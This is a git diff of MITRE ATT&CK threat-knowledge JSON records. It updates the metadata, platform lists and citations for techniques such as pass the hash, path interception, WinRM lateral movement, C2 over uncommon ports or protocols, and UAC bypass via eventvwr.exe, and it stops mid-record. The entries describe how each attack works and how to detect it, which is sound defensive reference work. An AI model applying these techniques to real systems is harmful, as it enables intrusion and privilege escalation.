X\n\nRequires Network: Yes",
+            "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,21 +43,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff.json b/enterprise-attack/attack-pattern/attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff.json
index 7104dacaed..3575cf6d49 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--313147f4-5a82-47b1-8ab3-08e1de244c0f",
+    "id": "bundle--195d55d3-3710-4b58-92b2-391156fcfb3b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:59.339Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Hash",
-            "description": "Pass the hash (PtH) (Citation: Aorato PTH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system",
+            "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -23,11 +23,6 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1075",
                     "external_id": "T1075"
                 },
-                {
-                    "source_name": "Aorato PTH",
-                    "description": "Aorato. (n.d.). Pass-the-Hash. Retrieved November 12, 2014.",
-                    "url": "http://www.aorato.com/labs/pass-the-hash/"
-                },
                 {
                     "source_name": "NSA Spotting",
                     "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2013, December 16). Spotting the Adversary with Windows Event Log Monitoring. Retrieved November 12, 2014.",
@@ -37,22 +32,14 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "Authentication logs"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Requires Microsoft Windows as target system"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896.json b/enterprise-attack/attack-pattern/attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896.json
index 8e335d20f0..e570cbdfcb 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8fc84199-ba9d-40fa-a184-dd673f5cfabe",
+    "id": "bundle--ddc3be59-a2bc-47fe-aff3-10d4c9216499",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:25.584Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Query Registry",
-            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,18 +43,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd.json b/enterprise-attack/attack-pattern/attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd.json
index d1615a0ac9..382ccf7a82 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--726db8f6-70b3-483d-a7c7-379c81ffa312",
+    "id": "bundle--5ff6d83a-3959-4554-b844-a0cccb0e2baa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:34.523Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Transfer Size Limits",
-            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39.json b/enterprise-attack/attack-pattern/attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39.json
index 92d7190375..548a40a959 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6421fc8a-6427-46c2-9de0-4b5badcb176a",
+    "id": "bundle--c1835034-085a-43fc-a214-ab67dcd7d856",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:33.723Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Remote Management",
-            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
+            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -35,7 +35,7 @@
                 {
                     "source_name": "Jacobsen 2014",
                     "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
-                    "url": "http://www.slideee.com/slide/lateral-movement-with-powershell"
+                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
                 }
             ],
             "object_marking_refs": [
@@ -53,18 +53,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": true,
             "x_mitre_system_requirements": [
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02.json b/enterprise-attack/attack-pattern/attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02.json
index a918ec77cb..4a0a8fde48 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb9819d0-206c-4f1d-a7c9-b1417a2c5d74",
+    "id": "bundle--168dbfd9-6949-43cd-8396-d006f7ae9574",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:36.140Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Path Interception",
-            "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
+            "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -84,18 +84,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0.json b/enterprise-attack/attack-pattern/attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0.json
index 18ac65bba4..0acaf16961 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1ebfe52-2141-4df2-a1af-0c9a5f348a9b",
+    "id": "bundle--8d02d9fe-a7e4-421e-9a62-3ec965ea7ae0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:53.408Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Uncommonly Used Port",
-            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -39,21 +39,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be.json b/enterprise-attack/attack-pattern/attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be.json
index 5a4ebe1bac..3583995ff0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b93e3ed-1b76-4d6d-bcfe-e398021cac29",
+    "id": "bundle--b6119754-13dc-49f5-a666-b44d149762e0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:07.462Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bypass User Account Control",
-            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high 